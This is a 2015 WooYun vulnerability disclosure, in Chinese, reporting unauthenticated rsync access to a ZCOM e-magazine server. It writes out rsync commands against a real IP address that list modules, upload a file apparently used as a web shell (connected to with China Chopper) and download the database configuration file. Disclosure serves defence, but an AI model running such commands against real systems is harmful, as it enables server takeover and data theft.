当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-098076

漏洞标题：ZCOM电子杂志某站点未授权访问（可影响服务器与数据库权限）

相关厂商：ZCOM电子杂志

漏洞作者： 路人甲

提交时间：2015-02-25 10:33

修复时间：2015-04-13 16:58

公开时间：2015-04-13 16:58

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-25： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-04-13： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

ZCOM电子杂志某站点未授权访问

详细说明：

ZCOM电子杂志某站点rsync未授权访问，可上传文件挂马，可脱库
未授权访问：
共包含两个模块，syq_webapps只读，syq_webapps_rw可读写，源码中conn.inc.php含数据库配置信息

rsync 115.182.33.200::
rsync 115.182.33.200::syq_webapps_rw
rsync addauth.php 115.182.33.200::syq_webapps_rw/www.zcom.com/shop/
rsync 115.182.33.200::syq_webapps_rw/www.zcom.com/_alias/configs/conn.inc.php ./


菜刀连之：

zcom1.png


zcom2.png

zcom3.png


数据库中应该含有大量信息，未深挖，addauth.php麻烦验证后帮忙清理下

漏洞证明：

如上

修复方案：

rsync添加访问权限

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝